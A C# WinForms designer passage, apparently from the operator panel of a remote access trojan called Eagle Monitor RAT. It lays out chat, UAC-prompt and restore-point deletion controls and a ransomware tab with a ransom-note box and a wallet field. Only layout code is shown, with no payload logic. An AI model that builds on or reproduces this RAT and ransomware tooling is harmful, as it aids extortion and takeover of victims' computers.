this.chatSendGuna2Button.Text = \"Send\";\n            this.chatSendGuna2Button.Click += new System.EventHandler(this.chatSendGuna2Button_Click);\n            // \n            // messageChatGuna2TextBox\n            // \n            this.messageChatGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.messageChatGuna2TextBox.Animated = true;\n            this.messageChatGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.messageChatGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.messageChatGuna2TextBox.DefaultText = \"\";\n            this.messageChatGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.messageChatGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.messageChatGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.messageChatGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.messageChatGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.messageChatGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.messageChatGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.messageChatGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.messageChatGuna2TextBox.Location = new System.Drawing.Point(239, 40);\n            this.messageChatGuna2TextBox.Name = \"messageChatGuna2TextBox\";\n            this.messageChatGuna2TextBox.PasswordChar = '\\0';\n            this.messageChatGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.messageChatGuna2TextBox.PlaceholderText = \"Your message\";\n            this.messageChatGuna2TextBox.SelectedText = \"\";\n            this.messageChatGuna2TextBox.Size = new System.Drawing.Size(646, 30);\n            this.messageChatGuna2TextBox.TabIndex = 52;\n            // \n            // panel17\n            // \n            this.panel17.Dock = System.Windows.Forms.DockStyle.Top;\n            this.panel17.Location = new System.Drawing.Point(3, 33);\n            this.panel17.Name = \"panel17\";\n            this.panel17.Size = new System.Drawing.Size(1077, 5);\n            this.panel17.TabIndex = 39;\n            // \n            // chatGuna2Button\n            // \n            this.chatGuna2Button.Animated = true;\n            this.chatGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.chatGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.chatGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.chatGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.chatGuna2Button.Dock = System.Windows.Forms.DockStyle.Top;\n            this.chatGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.chatGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.chatGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.chatGuna2Button.Location = new System.Drawing.Point(3, 3);\n            this.chatGuna2Button.Name = \"chatGuna2Button\";\n            this.chatGuna2Button.Size = new System.Drawing.Size(1077, 30);\n            this.chatGuna2Button.TabIndex = 38;\n            this.chatGuna2Button.Text = \"Start\";\n            this.chatGuna2Button.Click += new System.EventHandler(this.chatGuna2Button_Click);\n            // \n            // tabPage24\n            // \n            this.tabPage24.Controls.Add(this.askUACGuna2Button);\n            this.tabPage24.Controls.Add(this.guna2GroupBox9);\n            this.tabPage24.Location = new System.Drawing.Point(4, 4);\n            this.tabPage24.Name = \"tabPage24\";\n            this.tabPage24.Padding = new System.Windows.Forms.Padding(3);\n            this.tabPage24.Size = new System.Drawing.Size(1091, 474);\n            this.tabPage24.TabIndex = 5;\n            this.tabPage24.Text = \"UAC\";\n            this.tabPage24.UseVisualStyleBackColor = true;\n            // \n            // askUACGuna2Button\n            // \n            this.askUACGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.askUACGuna2Button.Animated = true;\n            this.askUACGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.askUACGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.askUACGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.askUACGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.askUACGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.askUACGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.askUACGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.askUACGuna2Button.Location = new System.Drawing.Point(8, 6);\n            this.askUACGuna2Button.Name = \"askUACGuna2Button\";\n            this.askUACGuna2Button.Size = new System.Drawing.Size(1076, 33);\n            this.askUACGuna2Button.TabIndex = 58;\n            this.askUACGuna2Button.Text = \"Ask UAC\";\n            this.askUACGuna2Button.Click += new System.EventHandler(this.askUACGuna2Button_Click);\n            // \n            // guna2GroupBox9\n            // \n            this.guna2GroupBox9.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) \n            | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.guna2GroupBox9.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox9.BorderThickness = 0;\n            this.guna2GroupBox9.Controls.Add(this.restorePointDataGridView);\n            this.guna2GroupBox9.Controls.Add(this.guna2VScrollBar12);\n            this.guna2GroupBox9.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox9.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.guna2GroupBox9.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.guna2GroupBox9.Location = new System.Drawing.Point(6, 45);\n            this.guna2GroupBox9.Name = \"guna2GroupBox9\";\n            this.guna2GroupBox9.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2);\n            this.guna2GroupBox9.Size = new System.Drawing.Size(1079, 423);\n            this.guna2GroupBox9.TabIndex = 57;\n            this.guna2GroupBox9.Text = \"System Restore Points\";\n            // \n            // restorePointDataGridView\n            // \n            this.restorePointDataGridView.AllowUserToAddRows = false;\n            this.restorePointDataGridView.AllowUserToDeleteRows = false;\n            this.restorePointDataGridView.AllowUserToResizeColumns = false;\n            this.restorePointDataGridView.AllowUserToResizeRows = false;\n            this.restorePointDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.restorePointDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.restorePointDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.restorePointDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle55.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle55.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle55.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle55.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle55.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle55.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle55.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.restorePointDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle55;\n            this.restorePointDataGridView.ColumnHeadersHeight = 36;\n            this.restorePointDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column42,\n            this.Column43,\n            this.Column44,\n            this.Column45});\n            this.restorePointDataGridView.ContextMenuStrip = this.restorePointContextMenuStrip;\n            this.restorePointDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.restorePointDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.restorePointDataGridView.EnableHeadersVisualStyles = false;\n            this.restorePointDataGridView.GridColor = System.Drawing.Color.White;\n            this.restorePointDataGridView.Location = new System.Drawing.Point(2, 42);\n            this.restorePointDataGridView.Name = \"restorePointDataGridView\";\n            this.restorePointDataGridView.ReadOnly = true;\n            this.restorePointDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle58.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle58.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle58.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle58.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.restorePointDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle58;\n            this.restorePointDataGridView.RowTemplate.Height = 26;\n            this.restorePointDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.restorePointDataGridView.Size = new System.Drawing.Size(1057, 379);\n            this.restorePointDataGridView.TabIndex = 14;\n            this.restorePointDataGridView.TabStop = false;\n            // \n            // Column42\n            // \n            this.Column42.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle56.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column42.DefaultCellStyle = dataGridViewCellStyle56;\n            this.Column42.FillWeight = 25F;\n            this.Column42.HeaderText = \"Number\";\n            this.Column42.Name = \"Column42\";\n            this.Column42.ReadOnly = true;\n            // \n            // Column43\n            // \n            this.Column43.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle57.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.Column43.DefaultCellStyle = dataGridViewCellStyle57;\n            this.Column43.FillWeight = 18F;\n            this.Column43.HeaderText = \"Description\";\n            this.Column43.Name = \"Column43\";\n            this.Column43.ReadOnly = true;\n            // \n            // Column44\n            // \n            this.Column44.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column44.FillWeight = 25F;\n            this.Column44.HeaderText = \"Type\";\n            this.Column44.Name = \"Column44\";\n            this.Column44.ReadOnly = true;\n            // \n            // Column45\n            // \n            this.Column45.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column45.FillWeight = 20F;\n            this.Column45.HeaderText = \"Creation Date\";\n            this.Column45.Name = \"Column45\";\n            this.Column45.ReadOnly = true;\n            // \n            // restorePointContextMenuStrip\n            // \n            this.restorePointContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.restorePointContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.refreshRestorePointToolStripMenuItem,\n            this.deleteRestorePointToolStripMenuItem});\n            this.restorePointContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.restorePointContextMenuStrip.Size = new System.Drawing.Size(126, 72);\n            // \n            // refreshRestorePointToolStripMenuItem\n            // \n            this.refreshRestorePointToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.refreshRestorePointToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.refreshRestorePointToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.replay_32px;\n            this.refreshRestorePointToolStripMenuItem.Name = \"refreshRestorePointToolStripMenuItem\";\n            this.refreshRestorePointToolStripMenuItem.Size = new System.Drawing.Size(125, 34);\n            this.refreshRestorePointToolStripMenuItem.Text = \"Refresh\";\n            this.refreshRestorePointToolStripMenuItem.Click += new System.EventHandler(this.refreshRestorePointToolStripMenuItem_Click);\n            // \n            // deleteRestorePointToolStripMenuItem\n            // \n            this.deleteRestorePointToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.deleteRestorePointToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.deleteRestorePointToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px;\n            this.deleteRestorePointToolStripMenuItem.Name = \"deleteRestorePointToolStripMenuItem\";\n            this.deleteRestorePointToolStripMenuItem.Size = new System.Drawing.Size(125, 34);\n            this.deleteRestorePointToolStripMenuItem.Text = \"Delete\";\n            this.deleteRestorePointToolStripMenuItem.Click += new System.EventHandler(this.deleteRestorePointToolStripMenuItem_Click);\n            // \n            // guna2VScrollBar12\n            // \n            this.guna2VScrollBar12.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar12.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar12.InUpdate = false;\n            this.guna2VScrollBar12.LargeChange = 10;\n            this.guna2VScrollBar12.Location = new System.Drawing.Point(1059, 42);\n            this.guna2VScrollBar12.Name = \"guna2VScrollBar12\";\n            this.guna2VScrollBar12.ScrollbarSize = 18;\n            this.guna2VScrollBar12.Size = new System.Drawing.Size(18, 379);\n            this.guna2VScrollBar12.TabIndex = 17;\n            this.guna2VScrollBar12.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            // \n            // tabPage25\n            // \n            this.tabPage25.Controls.Add(this.ransomwareGuna2TabControl);\n            this.tabPage25.Location = new System.Drawing.Point(4, 4);\n            this.tabPage25.Name = \"tabPage25\";\n            this.tabPage25.Padding = new System.Windows.Forms.Padding(3);\n            this.tabPage25.Size = new System.Drawing.Size(1091, 474);\n            this.tabPage25.TabIndex = 6;\n            this.tabPage25.Text = \"Ransomware\";\n            this.tabPage25.UseVisualStyleBackColor = true;\n            // \n            // ransomwareGuna2TabControl\n            // \n            this.ransomwareGuna2TabControl.Controls.Add(this.tabPage26);\n            this.ransomwareGuna2TabControl.Controls.Add(this.tabPage27);\n            this.ransomwareGuna2TabControl.Controls.Add(this.tabPage28);\n            this.ransomwareGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.ransomwareGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40);\n            this.ransomwareGuna2TabControl.Location = new System.Drawing.Point(3, 3);\n            this.ransomwareGuna2TabControl.Name = \"ransomwareGuna2TabControl\";\n            this.ransomwareGuna2TabControl.SelectedIndex = 0;\n            this.ransomwareGuna2TabControl.Size = new System.Drawing.Size(1085, 468);\n            this.ransomwareGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty;\n            this.ransomwareGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro;\n            this.ransomwareGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.ransomwareGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White;\n            this.ransomwareGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.ransomwareGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty;\n            this.ransomwareGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White;\n            this.ransomwareGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.ransomwareGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167)))));\n            this.ransomwareGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235)))));\n            this.ransomwareGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty;\n            this.ransomwareGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.ransomwareGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.ransomwareGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            this.ransomwareGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.ransomwareGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40);\n            this.ransomwareGuna2TabControl.TabIndex = 70;\n            this.ransomwareGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White;\n            this.ransomwareGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop;\n            // \n            // tabPage26\n            // \n            this.tabPage26.BackColor = System.Drawing.Color.White;\n            this.tabPage26.Controls.Add(this.pathRansomwareDataGridView);\n            this.tabPage26.Controls.Add(this.guna2VScrollBar13);\n            this.tabPage26.Location = new System.Drawing.Point(4, 44);\n            this.tabPage26.Name = \"tabPage26\";\n            this.tabPage26.Size = new System.Drawing.Size(1077, 420);\n            this.tabPage26.TabIndex = 1;\n            this.tabPage26.Text = \"Path affected\";\n            // \n            // pathRansomwareDataGridView\n            // \n            this.pathRansomwareDataGridView.AllowDrop = true;\n            this.pathRansomwareDataGridView.AllowUserToAddRows = false;\n            this.pathRansomwareDataGridView.AllowUserToDeleteRows = false;\n            this.pathRansomwareDataGridView.AllowUserToResizeColumns = false;\n            this.pathRansomwareDataGridView.AllowUserToResizeRows = false;\n            this.pathRansomwareDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.pathRansomwareDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.pathRansomwareDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.pathRansomwareDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle59.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle59.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle59.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle59.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle59.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle59.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle59.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.pathRansomwareDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle59;\n            this.pathRansomwareDataGridView.ColumnHeadersHeight = 36;\n            this.pathRansomwareDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column46});\n            this.pathRansomwareDataGridView.ContextMenuStrip = this.ransomwarePathContextMenuStrip;\n            this.pathRansomwareDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.pathRansomwareDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.pathRansomwareDataGridView.EnableHeadersVisualStyles = false;\n            this.pathRansomwareDataGridView.GridColor = System.Drawing.Color.White;\n            this.pathRansomwareDataGridView.Location = new System.Drawing.Point(0, 0);\n            this.pathRansomwareDataGridView.Name = \"pathRansomwareDataGridView\";\n            this.pathRansomwareDataGridView.ReadOnly = true;\n            this.pathRansomwareDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle61.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle61.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle61.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle61.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.pathRansomwareDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle61;\n            this.pathRansomwareDataGridView.RowTemplate.Height = 26;\n            this.pathRansomwareDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.pathRansomwareDataGridView.Size = new System.Drawing.Size(1059, 420);\n            this.pathRansomwareDataGridView.TabIndex = 17;\n            this.pathRansomwareDataGridView.TabStop = false;\n            // \n            // Column46\n            // \n            this.Column46.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle60.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column46.DefaultCellStyle = dataGridViewCellStyle60;\n            this.Column46.FillWeight = 25F;\n            this.Column46.HeaderText = \"Path\";\n            this.Column46.Name = \"Column46\";\n            this.Column46.ReadOnly = true;\n            // \n            // ransomwarePathContextMenuStrip\n            // \n            this.ransomwarePathContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.ransomwarePathContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.removeToolStripMenuItem});\n            this.ransomwarePathContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.ransomwarePathContextMenuStrip.Size = new System.Drawing.Size(130, 38);\n            // \n            // removeToolStripMenuItem\n            // \n            this.removeToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.removeToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.removeToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px;\n            this.removeToolStripMenuItem.Name = \"removeToolStripMenuItem\";\n            this.removeToolStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.removeToolStripMenuItem.Text = \"Remove\";\n            this.removeToolStripMenuItem.Click += new System.EventHandler(this.removeToolStripMenuItem_Click);\n            // \n            // guna2VScrollBar13\n            // \n            this.guna2VScrollBar13.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar13.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar13.InUpdate = false;\n            this.guna2VScrollBar13.LargeChange = 10;\n            this.guna2VScrollBar13.Location = new System.Drawing.Point(1059, 0);\n            this.guna2VScrollBar13.Name = \"guna2VScrollBar13\";\n            this.guna2VScrollBar13.ScrollbarSize = 18;\n            this.guna2VScrollBar13.Size = new System.Drawing.Size(18, 420);\n            this.guna2VScrollBar13.TabIndex = 18;\n            this.guna2VScrollBar13.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            // \n            // tabPage27\n            // \n            this.tabPage27.Controls.Add(this.msgRansomwareGuna2TextBox);\n            this.tabPage27.Controls.Add(this.walletGuna2TextBox);\n            this.tabPage27.Controls.Add(this.checkExtensionsGuna2CheckBox);\n            this.tabPage27.Controls.Add(this.panel20);\n            this.tabPage27.Controls.Add(this.subDirectoriesGuna2CheckBox);\n            this.tabPage27.Location = new System.Drawing.Point(4, 44);\n            this.tabPage27.Name = \"tabPage27\";\n            this.tabPage27.Size = new System.Drawing.Size(1077, 420);\n            this.tabPage27.TabIndex = 4;\n            this.tabPage27.Text = \"Settings\";\n            this.tabPage27.UseVisualStyleBackColor = true;\n            // \n            // msgRansomwareGuna2TextBox\n            // \n            this.msgRansomwareGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) \n            | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.msgRansomwareGuna2TextBox.Animated = true;\n            this.msgRansomwareGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.msgRansomwareGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.msgRansomwareGuna2TextBox.DefaultText = \"\";\n            this.msgRansomwareGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.msgRansomwareGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.msgRansomwareGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.msgRansomwareGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.msgRansomwareGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.msgRansomwareGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.msgRansomwareGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.msgRansomwareGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.msgRansomwareGuna2TextBox.Location = new System.Drawing.Point(272, 117);\n            this.msgRansomwareGuna2TextBox.Multiline = true;\n            this.msgRansomwareGuna2TextBox.Name = \"msgRansomwareGuna2TextBox\";\n            this.msgRansomwareGuna2TextBox.PasswordChar = '\\0';\n            this.msgRansomwareGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.msgRansomwareGuna2TextBox.PlaceholderText = \"Your files have been encrypted with EM-RAT ransomware feature.\";\n            this.msgRansomwareGuna2TextBox.SelectedText = \"\";\n            this.msgRansomwareGuna2TextBox.Size = new System.Drawing.Size(802, 300);\n            this.msgRansomwareGuna2TextBox.TabIndex = 67;\n            // \n            // walletGuna2TextBox\n            // \n            this.walletGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.walletGuna2TextBox.Animated = true;\n            this.walletGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.walletGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.walletGuna2TextBox.DefaultText = \"\";\n            this.walletGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.walletGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.walletGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.walletGuna2TextBox.DisabledState.PlaceholderForeColor = 